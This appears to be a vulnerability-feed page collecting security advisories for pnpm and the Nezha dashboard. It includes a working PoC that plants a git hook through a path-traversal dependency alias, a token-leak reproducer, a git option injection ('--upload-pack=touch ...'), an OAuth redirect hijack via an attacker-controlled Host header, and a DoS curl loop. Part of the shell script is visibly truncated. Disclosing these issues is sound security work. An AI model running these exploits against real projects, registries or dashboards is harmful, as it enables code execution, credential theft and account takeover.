`PR166_PNPM_SPEC=11.2.1`. ```python import base64 import contextlib import hashlib import http.server import io import json import os import shutil import subprocess import sys import tarfile import tempfile import threading from pathlib import Path """Standalone loopback reproducer. It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()). """ TOKEN = "PR166_FAKE_REGISTRY_TOKEN" PACKAGE_TGZ = None class RegistryHandler(http.server.BaseHTTPRequestHandler): requests = [] def do_GET(self): self.requests.append( { "method": self.command, "path": self.path, "authorization": self.headers.get("Authorization"), } ) if self.path.endswith(".tgz"): payload = make_package_tgz() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(payload))) self.end_headers() self.wfile.write(payload) return payload = make_package_tgz() body = json.dumps( { "name": "@private/probe", "dist-tags": {"latest": "1.0.0"}, "versions": { "1.0.0": { "name": "@private/probe", "version": "1.0.0", "dist": { "tarball": f"http://127.0.0.1:{self.server.server_port}/private/@private/probe/-/probe-1.0.0.tgz", "shasum": hashlib.sha1(payload).hexdigest(), "integrity": "sha512-" + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"), }, } }, } ).encode("utf-8") self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): return @contextlib.contextmanager def registry(): handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []}) server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() try: yield server, handler.requests finally: server.shutdown() thread.join(timeout=5) server.server_close() def make_package_tgz(): global PACKAGE_TGZ if PACKAGE_TGZ is not None: return PACKAGE_TGZ bio = io.BytesIO() with tarfile.open(fileobj=bio, mode="w:gz") as tf: data = b'{"name":"@private/probe","version":"1.0.0"}\n' info = tarfile.TarInfo("package/package.json") info.size = len(data) tf.addfile(info, io.BytesIO(data)) PACKAGE_TGZ = bio.getvalue() return PACKAGE_TGZ def write_text(path, text): path.parent.mkdir(parents=True, exist_ok=True) path.write_text(text, encoding="utf-8", newline="\n") def run_install(tool, trusted_url, attacker_url): exe = shutil.which(tool) if exe is None: return {"tool": tool, "error": "missing"} cmd = [exe, "install", "--ignore-scripts"] if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"): corepack = shutil.which("corepack") if corepack is None: return {"tool": tool, "error": "corepack missing"} cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"] with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td: root = Path(td) home = root / "home" project = root / "project" home.mkdir() project.mkdir() userconfig = home / ".npmrc" write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n") write_text(project / ".npmrc", f"registry={attacker_url}\n") write_text( project / "package.json", '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n', ) env = os.environ.copy() env.update( { "HOME": str(home), "USERPROFILE": str(home), "NPM_CONFIG_USERCONFIG": str(userconfig), "npm_config_userconfig": str(userconfig), "NPM_CONFIG_CACHE": str(home / "cache"), "npm_config_cache": str(home / "cache"), "NPM_CONFIG_STORE_DIR": str(home / "store"), "npm_config_store_dir": str(home / "store"), "XDG_CACHE_HOME": str(home / "xdg-cache"), "XDG_DATA_HOME": str(home / "xdg-data"), "NO_COLOR": "1", } ) proc = subprocess.run( cmd, cwd=str(project), env=env, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=60, ) return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]} def summarize(tool, result, attacker_requests): auth_hits = [r for r in attacker_requests if r.get("authorization")] return { "tool": tool, "result": result, "attacker_auth_hits": auth_hits, "attacker_request_count": len(attacker_requests), } def tool_version(tool): exe = shutil.which(tool) if exe is None: return "missing" cmd = [exe, "--version"] if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"): corepack = shutil.which("corepack") if corepack is None: return "corepack missing" cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"] proc = subprocess.run( cmd, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=20, ) return proc.stdout.strip() or f"exit-{proc.returncode}" def main(): pnpm_version = tool_version("pnpm") npm_version = tool_version("npm") print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}") if pnpm_version == "missing" or npm_version == "missing": print("CHECK environment_has_pnpm_and_npm result=fail") return 1 print("ENVIRONMENT_READY") overall = [] with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests): trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/" attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/" before = len(attacker_requests) pnpm_result = run_install("pnpm", trusted_url, attacker_url) pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:]) overall.append(pnpm_summary) before = len(attacker_requests) npm_result = run_install("npm", trusted_url, attacker_url) npm_summary = summarize("npm", npm_result, attacker_requests[before:]) overall.append(npm_summary) print(json.dumps(overall, indent=2)) pnpm_leaked = bool(overall[0]["attacker_auth_hits"]) npm_leaked = bool(overall[1]["attacker_auth_hits"]) print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}") print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}") print( "COMMAND_EXIT_CODE=" f"pnpm:{overall[0]['result'].get('returncode', 'missing')} " f"npm:{overall[1]['result'].get('returncode', 'missing')}" ) if pnpm_leaked and not npm_leaked: print("CHECK pnpm_leaked=true npm_control_held=true result=pass") print("VULNERABLE_BEHAVIOR_CONFIRMED") print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD") print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED") return 0 if pnpm_leaked and npm_leaked: print("CHECK pnpm_leaked=true npm_control_held=false result=fail") print("RESULT_BOTH_TOOLS_SENT_AUTH") return 2 print("CHECK pnpm_leaked=false result=fail") print("RESULT_NO_PNPM_AUTH_LEAK") return 1 if __name__ == "__main__": sys.exit(main()) ``` ## Abbreviated Expected Output ```text TARGET_VERSION=pnpm 11.2.1; npm 10.9.7 ENVIRONMENT_READY ... OBSERVED_PNPM_AUTH_HITS=3 OBSERVED_NPM_AUTH_HITS=0 COMMAND_EXIT_CODE=pnpm:0 npm:1 CHECK pnpm_leaked=true npm_control_held=true result=pass VULNERABLE_BEHAVIOR_CONFIRMED RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED ``` Reporter: JUNYI LIU
Risiko 7.5 / 10 CVE-2026-50016 vor 1 Tag(en)
## Summary pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories. `.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example: - `.husky` or `.githooks` for Git hook dispatchers - `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands - `.github/actions/` for local GitHub Actions used later in the workflow - `dist/` or other publish/build output directories before `pnpm pack` or `pnpm publish` - `node_modules/.bin` or undeclared `node_modules/` paths used by later command or module resolution Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation. This was reproduced with `pnpm@11.2.1`. ## Impact Users often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command. Examples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`. ## Root Cause pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory. Conceptually, a transitive alias like this: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` is eventually treated like: ```text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks") ``` The normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory. The dependency chain is: ```text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias ``` The malicious transitive package metadata contains: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency. ## Proof Of Concept Run: ```sh ./run.sh ``` ``` sh #!/bin/sh set -eu SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPT_DIR/demo-workdir" REGISTRY_DIR="$WORKDIR/registry" TARBALLS_DIR="$REGISTRY_DIR/tarballs" VICTIM_DIR="$WORKDIR/victim" READY_FILE="$WORKDIR/registry-ready" PORT_FILE="$WORKDIR/registry-port" rm -rf "$WORKDIR" mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR" cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit" cat > "$REGISTRY_DIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON cat > "$REGISTRY_DIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON (cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:child_process') const [registryDir, readyFile, portFile] = process.argv.slice(2) const tarballsDir = path.join(registryDir, 'tarballs') function shasum (filename) { return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)]) .toString() .trim() .split(/\s+/) .pop() } function integrity (filename) { return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)]) .toString('base64') } function packument (pkgName, req) { const filename = `${pkgName}-1.0.0.tgz` const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8')) const origin = `http://${req.headers.host}` return { name: pkgName, 'dist-tags': { latest: '1.0.0', }, versions: { '1.0.0': { ...manifest, dist: { tarball: `${origin}/${pkgName}/-/${filename}`, shasum: shasum(filename), integrity: integrity(filename), }, }, }, } } const server = http.createServer((req, res) => { const pathname = new URL(req.url, 'http://local.invalid').pathname if (req.method !== 'GET') { res.writeHead(405) res.end('method not allowed') return } if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') { const pkgName = pathname.slice(1) res.writeHead(200, { 'content-type': 'application/json' }) res.end(JSON.stringify(packument(pkgName, req))) return } const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/) if (tarballMatch) { const file = path.join(tarballsDir, tarballMatch[2]) res.writeHead(200, { 'content-type': 'application/octet-stream' }) fs.createReadStream(file).pipe(res) return } res.writeHead(404) res.end('not found') }) server.listen(0, '127.0.0.1', () => { fs.writeFileSync(portFile, String(server.address().port)) fs.writeFileSync(readyFile, 'ready') }) NODE REGISTRY_PID=$! trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM WAIT_COUNT=0 while [ ! -f "$READY_FILE" ]; do WAIT_COUNT=$((WAIT_COUNT + 1)) if [ "$WAIT_COUNT" -gt 100 ]; then echo "local registry did not start" >&2 exit 1 fi sleep 0.05 done REGISTRY_PORT=$(cat "$PORT_FILE") cd "$VICTIM_DIR" git init -q git config user.email demo@example.invalid git config user.name "Demo User" cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON cat > .npmrc < change.txt git add change.txt set +e COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null) COMMIT_STATUS=$? set -e printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS" printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR" ``` The script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`. Requirements: ```text pnpm npm node git openssl ``` Expected output: ```text git commit exit code: 0 git commit stderr: PWNED ``` `PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.
Risiko 5 / 10 CVE-2026-50014 vor 1 Tag(en)
## Summary pnpm passes the lockfile-controlled git `resolution.commit` value to `git fetch` without a `--` separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as `--upload-pack=`. For SSH and local transports, `--upload-pack` can execute the supplied command. HTTPS transports ignore `--upload-pack`, so the practical attack surface is primarily SSH or local git dependencies. ## Vulnerability Details The vulnerable path is in `fetching/git-fetcher/src/index.ts`. When a git dependency host is configured for shallow fetching, pnpm calls: ```typescript await execGit(['fetch', '--depth', '1', 'origin', resolution.commit], { cwd: tempLocation }) ``` Because `resolution.commit` is appended before a `--` separator, Git can parse a commit value beginning with `-` as an option. The same file later passes the value to `git checkout` without a separator: ```typescript await execGit(['checkout', resolution.commit], { cwd: tempLocation }) ``` `resolution.commit` comes from the lockfile and is typed as a plain `string`; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git. ## Proof of Concept ```bash bash autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh # Creates a local bare git repo and triggers the shallow-fetch path. # Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11_pwned'. # Result: PASS -- /tmp/vuln11_pwned created by injected touch command. ``` The PoC uses a local `file://githost/...` repository because the injection requires a local or SSH transport. HTTPS transport ignores `--upload-pack`. ## Impact Code execution as the user running `pnpm install`, under specific transport conditions. The attacker must modify `pnpm-lock.yaml`, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune. ## Suggested Remediation Add a `--` separator before lockfile-controlled git revision values. Validate `resolution.commit` matches `/^[0-9a-f]{40}$/i` before passing to Git. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh)
Risiko 5 / 10 CVE-2026-50021 vor 1 Tag(en)
## Summary pnpm's tarball extraction worker skips integrity verification when the `integrity` field is absent from the lockfile resolution. If an attacker can both modify `pnpm-lock.yaml` to remove the `integrity:` field and cause the referenced registry URL to serve altered package content, `pnpm install --frozen-lockfile` can install the altered package without an integrity error. npm's `npm ci` enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap. ## Vulnerability Details The `addTarballToStore` function in `worker/src/start.ts` (lines 189-204) checks `if (integrity)` before verifying the tarball hash. The `TarballResolution` type declares `integrity` as optional (`integrity?: string`). When the lockfile omits the `integrity` field, the guard evaluates to `false`, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate. ```typescript // worker/src/start.ts:189-204 function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) { if (integrity) { // false when integrity is undefined const { algorithm, hexDigest } = parseIntegrity(integrity) const calculatedHash = crypto.hash(algorithm, buffer, 'hex') if (calculatedHash !== hexDigest) { return { status: 'error', error: { type: 'integrity_validation_failed', ... } } } } return { status: 'success', value: { integrity: integrity ?? calcIntegrity(buffer) }, } } ``` ## Proof of Concept ```bash bash autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh # Publishes a package, generates lockfile, republishes tampered version, # strips integrity field, re-runs install --frozen-lockfile. # Result: PASS -- tampered package installed without integrity error. ``` ## Impact Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The `--frozen-lockfile` flag does not fail closed when the integrity field is missing. ## Suggested Remediation Require an `integrity` field for remote tarball resolutions. Change the `if (integrity)` guard to fail when integrity is absent for non-local packages. When `--frozen-lockfile` is active, reject lockfile entries that lack integrity for remote packages. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh)
Risiko 5 / 10 CVE-2026-50573 vor 1 Tag(en)
While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default. ## Summary `pnpm install` in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`. When a package is already locked with an `integrity` value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain `pnpm install` then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully. This means the lockfile integrity check does not act as a hard stop by default. ## Reproduction Scenario 1. Run a local npm-compatible registry. 2. Publish or serve `example-package@1.0.0` with tarball content `v1`. 3. Install it with pnpm: ```bash pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741 ``` 4. Confirm `pnpm-lock.yaml` contains the `v1` integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v1... ``` 5. Change the registry metadata and tarball for the same `example-package@1.0.0` to content `v2`. 6. On a clean store/cache, run: ```bash pnpm install --registry=http://127.0.0.1:48741 ``` ## Observed Behavior pnpm detects the checksum mismatch: ```text WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz". Wanted "sha512-...v1..." Got "sha512-...v2...". ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it. ``` However, the install still succeeds: ```text INSTALL_RC=0 INSTALLED=v2-replaced ``` The lockfile is then rewritten to trust the new remote integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v2... ``` ## Expected Behavior If a downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`, the install should fail by default. The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior. ## Security Impact This behavior weakens the protection normally expected from a committed lockfile. If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity. Examples of affected new or clean environments include: - an engineer setting up the project on a new machine - a new team member onboarding to the project In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in `pnpm-lock.yaml`. However, instead of failing by default, plain `pnpm install` performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content. In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile. This is especially relevant for: - private registries that allow overwriting or republishing the same version - registry mirrors or proxies that can serve changed metadata and tarballs - compromised public or private registries - compromised registry proxy infrastructure The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair. This issue does not occur when `--frozen-lockfile` is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content. However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version. For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile. ## Comparison In the same scenario, `npm install` with an existing `package-lock.json` fails with `EINTEGRITY` and does not install the changed tarball. `pnpm install --frozen-lockfile` also fails as expected: ```text ERR_PNPM_TARBALL_INTEGRITY ``` The issue is specific to the default non-frozen behavior of plain `pnpm install` in non-CI environment.
Risiko 5 / 10 CVE-2026-53523 vor 14 Tag(en)
## 1. Description The `getRedirectURL` function in `oauth2.go:22-29` constructs the OAuth2 callback URL by concatenating the request's `Host` header with a fixed path, with **zero validation** of the Host header: ```go func getRedirectURL(c *gin.Context) string { scheme := "http://" referer := c.Request.Referer() if forwardedProto := c.Request.Header.Get("X-Forwarded-Proto"); forwardedProto == "https" || strings.HasPrefix(referer, "https://") { scheme = "https://" } return scheme + c.Request.Host + "/api/v1/oauth2/callback" } ``` **File:** `cmd/dashboard/controller/oauth2.go:22-29` This function is called from `oauth2redirect()` at line 53: ```go func oauth2redirect(c *gin.Context) (*model.Oauth2LoginResponse, error) { // ... redirectURL := getRedirectURL(c) o2conf := o2confRaw.Setup(redirectURL) // ... url := o2conf.AuthCodeURL(state, oauth2.AccessTypeOnline) return &model.Oauth2LoginResponse{Redirect: url}, nil } ``` The `redirectURL` is passed into `o2confRaw.Setup(redirectURL)` which configures the OAuth2 `Config.RedirectURL` field (`oauth2config.go:22-33`). This `RedirectURL` is sent to the OAuth2 provider (e.g., GitHub, Google, Microsoft) as the callback endpoint. The OAuth2 provider will redirect the user's browser — along with the authorization code — to this URL after the user authenticates. The security issue is that `c.Request.Host` is directly user-controllable via the HTTP `Host` header. An attacker who can control which Host header reaches the oauth2redirect handler can: 1. Set `Host: evil.com` 2. `getRedirectURL` returns `https://evil.com/api/v1/oauth2/callback` 3. The OAuth2 provider redirects the victim's auth code to `evil.com` 4. The attacker's server at `evil.com` captures the auth code 5. The attacker exchanges the code for an access token, binding the victim's OAuth identity to the attacker's dashboard account The scheme detection (lines 24-27) uses `X-Forwarded-Proto` and the `Referer` header, both of which are also user-controllable in certain configurations, so the attacker can force `https://` scheme in the redirect URL. The `oauth2callback` handler at line 129 later uses `state.RedirectURL` (which is stored in `singleton.Cache` at line 65) when calling `exchangeOpenId` at line 152. The cached `redirectURL` was set during the initial `oauth2redirect` call, tying the attack flow together. ## 2. PoC A conceptual attack (no Docker needed): ``` Scenario: OAuth2 provider has loose redirect URI validation (e.g., allows wildcard subdomain matching) 1. Attacker crafts a URL to the dashboard's OAuth2 login endpoint with a modified Host header: GET /api/v1/oauth2/github HTTP/1.1 Host: attacker-controlled.com X-Forwarded-Proto: https 2. The dashboard responds with a redirect to: https://github.com/login/oauth/authorize?client_id=...&redirect_uri=https://attacker-controlled.com/api/v1/oauth2/callback&state=... 3. Victim clicks the attacker's link → authenticates with GitHub → GitHub redirects to https://attacker-controlled.com/api/v1/oauth2/callback?code=AUTH_CODE&state=... 4. Attacker captures the AUTH_CODE from their server logs 5. Attacker exchanges the code at the real dashboard's /api/v1/oauth2/callback endpoint (using the real Host header this time), binding the victim's OAuth identity to their dashboard account ``` **Prerequisites for full exploit:** - The victim must click the attacker's crafted link - The OAuth2 provider must accept the attacker's domain as a valid redirect URI (some providers accept `https://*/*` or allow wildcards; others are strict) ## 3. Impact - **Account takeover**: an attacker who intercepts the OAuth2 authorization code can bind the victim's OAuth identity (GitHub, Google, GitLab, etc.) to their own dashboard account, gaining the victim's access level and permissions - **Privilege escalation**: if the victim is an admin, the attacker gains full administrative control over the Nezha deployment — access to all servers, credentials, and configuration - **Persistence**: once bound, the attacker retains access even if the victim resets their password (unless they also unbind the OAuth2 identity) The attack complexity is higher than typical Host header injection scenarios because it requires: 1. The `Host` header to reach the dashboard's handler unmodified (bypassing reverse proxy normalization) 2. The OAuth2 provider to have loose redirect URL validation 3. User interaction (the victim must authenticate) However, the code-level vulnerability is unambiguous: the application trusts attacker-controlled input (`Host` header) for a security-critical URL that participates in the OAuth2 authorization code flow. ## 4. Remediation 1. **Validate the Host header** against a configured allowlist of known dashboard hostnames: ```go func getRedirectURL(c *gin.Context) string { host := c.Request.Host if !singleton.Conf.IsAllowedHost(host) { host = singleton.Conf.DashboardBaseURL // fallback } // ... } ``` 2. **Pin the redirect URL** to the configured dashboard URL from `singleton.Conf` instead of deriving it from the request Host header: ```go func getRedirectURL(c *gin.Context) string { return singleton.Conf.DashboardBaseURL + "/api/v1/oauth2/callback" } ``` 3. **Remove Host header-based URL construction** entirely — the OAuth2 redirect URL should be deterministic based on server configuration, not dynamic per-request 4. **Add Host header validation middleware** for all OAuth2-related endpoints as defense-in-depth
Risiko 5 / 10 CVE-2026-53522 vor 14 Tag(en)
## 1. Description The Nezha dashboard exposes two endpoints that create long-lived WebSocket streams to monitored agents: - `POST /api/v1/terminal` → `createTerminal()` (terminal.go:27-67) - `POST /api/v1/file` → `createFM()` (fm.go:28-67) Both call `rpc.NezhaHandlerSingleton.CreateStream(streamId, ...)` which inserts a new `ioStreamContext` into an **unbounded** `map[string]*ioStreamContext` (`s.ioStreams` in `io_stream.go:59-67`). There is **no per-user rate limit, no global semaphore, and no per-server connection cap**. Each stream allocates: 1. A `ioStreamContext` struct with several channels and sync primitives 2. Two goroutines via `StartStream()` (io_stream.go:358-369) — bidirectional `io.CopyBuffer` 3. A gRPC IOStream between the dashboard and the agent 4. An agent-side PTY/shell process **Vulnerable code:** `terminal.go:27-67` — `createTerminal`: ```go func createTerminal(c *gin.Context) (*model.CreateTerminalResponse, error) { // ... validation ... rpc.NezhaHandlerSingleton.CreateStream(streamId, getUid(c), server.ID) // ... sends TaskTypeTerminalGRPC to agent ... return &model.CreateTerminalResponse{...}, nil } ``` `fm.go:28-67` — `createFM`: ```go func createFM(c *gin.Context) (*model.CreateFMResponse, error) { // ... validation ... rpc.NezhaHandlerSingleton.CreateStream(streamId, getUid(c), server.ID) // ... sends TaskTypeFM to agent ... return &model.CreateFMResponse{...}, nil } ``` `io_stream.go:55-67` — `CreateStreamWithPurpose` (inserts into unbounded map): ```go func (s *NezhaHandler) CreateStreamWithPurpose(...) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() s.ioStreams[streamId] = &ioStreamContext{ creatorUserID: creatorUserID, targetServerID: targetServerID, purpose: purpose, userIoConnectCh: make(chan struct{}), agentIoConnectCh: make(chan struct{}), revokedCh: make(chan struct{}), } } ``` `io_stream.go:319-372` — `StartStream` spawns two goroutines per stream: ```go func (s *NezhaHandler) StartStream(streamId string, timeout time.Duration) error { // ... go func() { _, innerErr := io.CopyBuffer(userIo, agentIo, bp.buf) errCh <- innerErr }() go func() { _, innerErr := io.CopyBuffer(agentIo, userIo, bp.buf) errCh <- innerErr }() return <-errCh } ``` The `NezhaHandler.ioStreams` map is initialized as a plain `make(map[string]*ioStreamContext)` in `nezha.go:36` — no capacity limit, no eviction policy beyond explicit `CloseStream` / `RevokeStreamsForServer`. The `HasPermission` check at terminal.go:41-43 and fm.go:43-45 controls **access scope** but does **not** limit creation volume. A user with `ScopeServerExec` (terminal) or `ScopeServerRead+Write+Delete` (file manager) can open unlimited streams. ## 2. PoC A conceptual attack (no Docker needed): ``` # As an authenticated user with a valid JWT or PAT: for i in {1..1000}; do curl -X POST "https://dashboard.example.com/api/v1/terminal" \ -H "Authorization: Bearer $JWT" \ -H "Content-Type: application/json" \ -d '{"server_id": 1}' & done wait ``` Each request: - Creates a new stream entry in `ioStreams` - Sends a `TaskTypeTerminalGRPC` task to the agent - When the WebSocket attachment occurs (`GET /ws/terminal/{id}`), spawns 2 goroutines for I/O relay and allocates a 1 MB buffer per goroutine The attack targets three resource domains: 1. **Dashboard memory/goroutines** — each stream adds goroutines, channels, and buffers 2. **Agent resources** — each stream spawns a PTY/shell process on the monitored server 3. **gRPC connection pool** — concurrent IOStreams consume gRPC multiplexing capacity The `POST /file (createFM)` endpoint provides an alternative path with the same unbounded behavior, using `ScopeServerRead+Write+Delete` instead of `ScopeServerExec`. ## 3. Impact - **Denial of Service against the dashboard**: memory exhaustion, goroutine starvation, or gRPC stream table overflow from rapid stream creation - **Denial of Service against monitored agents**: each terminal session spawns a PTY process on the agent — an attacker can crash or degrade all agents behind the dashboard - **Operational cascade**: if the dashboard OOMs, all agent monitoring and alerting is lost - **PAT connection-registry bypass**: rapid create-connect-disconnect cycles may evade cleanup tracking The attack requires only authenticated access with standard scopes — no special privileges. Any team member with terminal access to a server can DoS the entire infrastructure. ## 4. Remediation Implement layered rate limiting and concurrency control: 1. **Per-user stream cap** in `CreateStream` — reject if the user already has N active streams (e.g., 10 per user): ```go func (s *NezhaHandler) CreateStreamWithPurpose(...) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() count := 0 for _, ctx := range s.ioStreams { if ctx.creatorUserID == creatorUserID { count++ } } if count >= maxStreamsPerUser { return error } // ... existing code ... } ``` 2. **Per-server semaphore** — limit concurrent streams to any single server (e.g., 20 per 